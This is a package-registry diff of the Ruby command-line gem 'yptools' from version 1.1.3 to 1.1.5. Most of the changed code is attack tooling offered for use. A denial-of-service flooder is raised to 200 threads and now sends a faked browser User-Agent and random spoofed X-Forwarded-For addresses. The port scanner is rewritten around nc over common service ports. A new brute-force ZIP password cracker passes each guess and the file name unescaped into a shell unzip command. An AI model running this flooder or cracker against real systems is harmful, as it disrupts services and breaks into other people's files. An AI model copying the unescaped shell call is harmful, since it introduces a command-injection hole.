yptools 1.1.3 → 1.1.5

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: a823a2bc7da0e01f28d2c0d70f268c4641970dd7681609ebd6f58c1fa89bdaaf
4
- data.tar.gz: 1cc88e0353cb745bb043f06115a0556514d72f6365daf4a931599227d410d731
3
+ metadata.gz: b5655449af16e78fedc89d6be8572069172fe5019d7d68d60ffb7cb96df11147
4
+ data.tar.gz: e29a63a923289f717d1f603c14fcc4a11d82f1d711253e3be4c7be90e2df9188
5
5
  SHA512:
6
- metadata.gz: b9ddd0a94e0aa79b51d835827a4eb5017527e1ef43f4e3f647c04de43fd6574c0f5a12f8216897de8926feea9d772d2b46dcfa1b54050040854bede8003941df
7
- data.tar.gz: b04456427417ca5df62a22317f24d9267aa79f0a74fd00ade655ed4f9b823cc17d588b07e7c310e2fd05f6d690433528766c1d85a70d291caec6be813adc333d
6
+ metadata.gz: 6ec94b8ade9d122af864ec142a639938a99f599ac36c47401f47cb4704b1507dd40b83301f3cef0202372e8a0c1dc6dceeb24e422b4ee3044fe05b11761839e9
7
+ data.tar.gz: ce277188c065e04ad741c71a9ff6ae42c5429aea6b6105f57028ada0f0d1da29d0ee8010dbcc3a42514874404849ee108af7db6e1b9bcf973d79d603edf0e6b2
@@ -9,7 +9,7 @@ class YPDosAttack
9
9
  uri = URI(url) # 修改为你想要请求的网址
10
10
 
11
11
  n = 10 # 发送 10 个请求
12
- concurrency = 5 # 使用 5 个线程
12
+ concurrency = 200 # 使用 100 个线程
13
13
  if request_count
14
14
  n = request_count.to_i
15
15
  end
@@ -26,7 +26,14 @@ class YPDosAttack
26
26
  n.times do |i|
27
27
  threads << Thread.new do
28
28
  begin
29
- response = Net::HTTP.get_response(uri)
29
+ req = Net::HTTP::Get.new(uri)
30
+ req['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' # 添加 User-Agent 请求头
31
+ ip_address = Array.new(4) { rand(256) }.join('.')
32
+ req['X-Forwarded-For'] = ip_address
33
+ # req['X-Forwarded-For'] = '192.168.0.1' # 将 X-Forwarded-For 请求头设置为你想要使用的 IP 地址
34
+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: uri.scheme == 'https') do |http|
35
+ http.request(req)
36
+ end
30
37
  mutex.synchronize do
31
38
  if response.is_a?(Net::HTTPSuccess)
32
39
  success_count += 1
@@ -3,13 +3,7 @@ class YPHelp
3
3
  def self.message
4
4
  puts %q{
5
5
 
6
- 🤖🤖🤖 - 智能聊天、绘画(OpenAI
7
- chatgpt: use [yptools chatgpt] 创建会话列表与 chatgpt 聊天,会记录上下内容(科学上网)
8
- [yptools chatgpt ...] 快速与 chatgpt 沟通,不会记录上下内容
9
-
10
- openai: use [yptools openaiimg ...] 根据文本描述生成图像(eg: yptools openaiimg '老虎和狮子大战' )
11
-
12
- 🚀🚀🚀 - iOS开发者(IOS Developer)
6
+ 🍎🍎🍎 - iOS开发者(IOS Developer
13
7
  autocre: use [yptools autocre ...] 自动化工具命令
14
8
  use [yptools autocre -objc ...] 根据 json 自动创建 Objective-C 数据库操作文件 .h|.m 文件。(依赖三方库 FMDB )
15
9
  use [yptools autocre -init] 构建数据库操作文件的json模板
@@ -20,12 +14,16 @@ class YPHelp
20
14
 
21
15
  showipa: use [yptools showipa ...] 用于解析ipa文件
22
16
 
23
- update: use [yptools update] 更新yptools
24
-
25
17
  ufct: use [yptools ufct] 更新当前目录下面文件后缀为.h|.m 的文件创建时间
26
18
 
27
19
  xpj: use [yptools xpj ...] use xcodeproj api
28
20
  use [yptools xpj check] 检查当前目录项目文件是否存在引用的问题
21
+
22
+ 🤖🤖🤖 - 智能聊天、绘画(OpenAI)
23
+ chatgpt: use [yptools chatgpt] 创建会话列表与 chatgpt 聊天,会记录上下内容(科学上网)
24
+ [yptools chatgpt ...] 快速与 chatgpt 沟通,不会记录上下内容
25
+
26
+ openai: use [yptools openaiimg ...] 根据文本描述生成图像(eg: yptools openaiimg '老虎和狮子大战' )
29
27
 
30
28
  🤡🤡🤡 - hacker
31
29
  scanlocalips: use [yptools scanlocalips] 扫描本地局域网下所有 IP
@@ -34,7 +32,11 @@ class YPHelp
34
32
 
35
33
  dosattack: use [yptools dosattack <ip> <n>] DOS攻击 「警告:此方法仅用于学习使用」 ip=请求域名 n=攻击次数 (eg: yptools dosattack https://example.com 10000)
36
34
 
37
- 💩💩💩 - 帮助(help)
35
+ unzip: use [yptools unzip <文件>] 分析压缩文件,破解密码。【扩展说明:n='0-10' a='a-z' A='A-Z' s='特殊字符'】(eg:yptools unzip -n -a -A file.zip)
36
+
37
+ 💩💩💩 - 帮助(help & update)
38
+ update: use [yptools update] 更新yptools
39
+
38
40
  help: use [yptools help] 查看帮助
39
41
 
40
42
  }
@@ -1,50 +1,35 @@
1
+ require 'colored'
2
+
1
3
  class YPPortScan
2
- def self.portscan(port, range)
3
- script = %Q(
4
- #!/bin/bash
5
-
6
- if [ -n "#{range}" ]; then
7
- all_port="#{range}"
8
- else
9
- all_port="1-65535"
10
- fi
4
+ COMMON_PORTS = [21, 22, 23, 25, 53, 80, 81, 88, 110, 111, 135, 139, 143, 161, 389, 443, 445, 465, 514, 587, 631, 993, 995, 1080, 1194, 1433, 1521, 2049, 2082, 2083, 2181, 2222, 2375, 2376, 3389, 3690, 4443, 5432, 5900, 5984, 6379, 7001, 7002, 8080, 8081, 8086, 8443, 8888, 9090, 9200, 9300, 10000, 11211, 15672, 27017, 28017, 50000, 50070, 50075, 50090]
5
+
6
+ def self.portscan(address, range)
7
+ ip_address = address
8
+ if range.nil? || range.empty? || range == "-d" || range == "-default"
9
+ port_range = COMMON_PORTS
10
+ yp_log_doing "正在扫描 #{ip_address} 常用的端口"
11
+ else
12
+ temp_port_range = range.split("-").map(&:to_i)
13
+ yp_log_doing "正在扫描 #{ip_address} 的端口 #{temp_port_range.min} 到 #{temp_port_range.max}..."
14
+ port_range = temp_port_range.size == 1 ? [temp_port_range[0]] : (temp_port_range[0]..temp_port_range[1]).to_a
15
+ end
11
16
 
12
- port_range=(${all_port//-/ })
13
- timeout=0.02
14
- ip_address=#{port}
17
+ open_ports = []
18
+ closed_ports = []
15
19
 
16
- port_range+=(#{range})
17
-
18
- echo "正在扫描 ${ip_address} 的端口 ${port_range[0]} 到 ${port_range[1]}..."
19
- echo ${port_range[1]}
20
-
21
- open_ports=()
22
- closed_ports=()
23
-
24
- for ((port = ${port_range[0]}; port <= ${port_range[1]}; port++)); do
25
- (echo >/dev/tcp/${ip_address}/${port}) >/dev/null 2>&1 &
26
- pid=$!
27
- (
28
- sleep ${timeout}
29
- kill ${pid} >/dev/null 2>&1
30
- ) &
31
- timer=$!
32
- if wait ${pid} 2>/dev/null; then
33
- echo "\\033[32m${port} 是开放的\\033[0m"
34
- open_ports+=($port)
35
- else
36
- echo "\\033[31m${port} 是关闭的\\033[0m"
37
- closed_ports+=($port)
38
- fi
39
- kill ${timer} >/dev/null 2>&1
40
- done
41
-
42
- allCount=$((${#open_ports[@]} + ${#closed_ports[@]}))
43
-
44
- echo ${allCount} "个端口扫描完成。"
45
- echo "共有 ${#open_ports[@]} 个端口是开放的,${#closed_ports[@]} 个端口是关闭的。"
46
- echo "开放的端口: " "\\033[32m${open_ports[@]}\\033[0m"
47
- )
48
- system(script)
20
+ port_range.each do |port|
21
+ `nc -w 1 -z #{ip_address} #{port} 2>&1 | grep succeeded`
22
+ if $?.success?
23
+ yp_log_success "#{port} 是开放的"
24
+ open_ports << port
25
+ else
26
+ yp_log_fail "#{port} 是关闭的"
27
+ closed_ports << port
28
+ end
49
29
  end
30
+
31
+ all_count = open_ports.size + closed_ports.size
32
+ yp_log_doing "共有 #{open_ports.size} 个端口是开放的,#{closed_ports.size} 个端口是关闭的。"
33
+ yp_log_success "#{all_count} 个端口扫描完成," + "开放的端口: #{open_ports}"
34
+ end
50
35
  end
@@ -0,0 +1,93 @@
1
+ require_relative '../log/yp_log'
2
+
3
+ class YPUnzipTools
4
+
5
+ def self.unzip(argvs)
6
+
7
+ # 测试方法
8
+ password_characters = []
9
+
10
+ arr_n = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
11
+ arr_a = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",]
12
+ arr_A = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",]
13
+ arr_s = ["!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "-", "_", "+", "=", "{", "}", "[", "]", "|", "\\", ":", ";", "<", ">", ",", ".", "?", "/"]
14
+
15
+ filename = argvs.last
16
+ if File.exist?(filename)
17
+ yp_log_doing "#{filename} 存在,准备开始扫描"
18
+ else
19
+ yp_log_fail "#{filename} 不存在"
20
+ return
21
+ end
22
+
23
+ if argvs.include?("-n")
24
+ password_characters += arr_n
25
+ end
26
+
27
+ if (argvs.include?("-a"))
28
+ password_characters += arr_a
29
+ end
30
+
31
+ if argvs.include?("-A")
32
+ password_characters += arr_A
33
+ end
34
+
35
+ if argvs.include?("-s")
36
+ password_characters += arr_s
37
+ end
38
+
39
+ if (password_characters.length == 0)
40
+ password_characters = arr_n + arr_a + arr_A + arr_s
41
+ end
42
+
43
+ yp_log_msg "扫描由下面数组组成的密码"
44
+ yp_log_success "#{password_characters}"
45
+
46
+ characters = password_characters
47
+
48
+ length = 10000
49
+ allCount = 0
50
+ for num in 1..length do
51
+ allCount += self.generate_passwords(filename, num, characters)
52
+ end
53
+ yp_log_fail "暂未发现密码,共尝试了#{allCount}个密码!"
54
+
55
+ end
56
+
57
+ def self.generate_passwords(filename, length, characters, prefix = "", count = 0)
58
+ sleep(0.01)
59
+ # 如果密码长度为0,直接返回前缀并增加计数器
60
+ if length == 0
61
+ result = self.unzip_file(filename, prefix)
62
+ if result == 1
63
+ yp_log_success "解压成功,密码是#{prefix}"
64
+ exit
65
+ return count
66
+ else
67
+ yp_log_msg "#{prefix}:密码错误,解压失败"
68
+ end
69
+ count += 1
70
+ else
71
+ # 对于每个字符,将其加入到前缀中并递归生成更短的密码
72
+ characters.each do |c|
73
+ new_prefix = prefix + c
74
+ count = self.generate_passwords(filename, length - 1, characters, new_prefix, count)
75
+ end
76
+ end
77
+ return count
78
+ end
79
+
80
+ def self.unzip_file(filePath, password)
81
+ zip_file = filePath
82
+ # 执行解压命令
83
+ puts "unzip -P #{password} -o -q #{zip_file}"
84
+ system("unzip -P #{password} -o -q #{zip_file}")
85
+ # 判断解压是否成功
86
+ if $?.exitstatus == 0
87
+ return 1
88
+ else
89
+ return 0
90
+ end
91
+ end
92
+
93
+ end
data/lib/yptools.rb CHANGED
@@ -14,6 +14,7 @@ require_relative 'yptools/chatai/yp_chatai'
14
14
  require_relative 'yptools/portscan/yp_portscan'
15
15
  require_relative 'yptools/scanlocalips/yp_scanlocalips'
16
16
  require_relative 'yptools/dosattack/yp_dosattack'
17
+ require_relative 'yptools/unziptools/yp_unziptools'
17
18
 
18
19
  class YPTools
19
20
 
@@ -116,6 +117,13 @@ class YPTools
116
117
  self.scanlocalips
117
118
  when 'dosattack'
118
119
  self.dosattack argvs
120
+ when 'unzip'
121
+ if argvs.size > 1
122
+ self.unzip argvs
123
+ else
124
+ yp_log_fail "'yptools unzip ..' 参数缺失"
125
+ self.help
126
+ end
119
127
  else
120
128
  self.help
121
129
  end
@@ -186,6 +194,10 @@ class YPTools
186
194
  YPDosAttack.dosattack(argvs)
187
195
  end
188
196
 
197
+ def self.unzip(argvs)
198
+ YPUnzipTools.unzip(argvs)
199
+ end
200
+
189
201
  end
190
202
 
191
203
 
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: yptools
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.1.3
4
+ version: 1.1.5
5
5
  platform: ruby
6
6
  authors:
7
7
  - chenghengsheng
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2023-03-27 00:00:00.000000000 Z
11
+ date: 2023-03-28 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: bundler
@@ -144,6 +144,7 @@ files:
144
144
  - lib/yptools/package/yp_package.rb
145
145
  - lib/yptools/portscan/yp_portscan.rb
146
146
  - lib/yptools/scanlocalips/yp_scanlocalips.rb
147
+ - lib/yptools/unziptools/yp_unziptools.rb
147
148
  - lib/yptools/update/yp_update.rb
148
149
  - lib/yptools/xcodeproj/yp_xcodeproj.rb
149
150
  homepage: https://github.com/HansenCCC/YPTools.git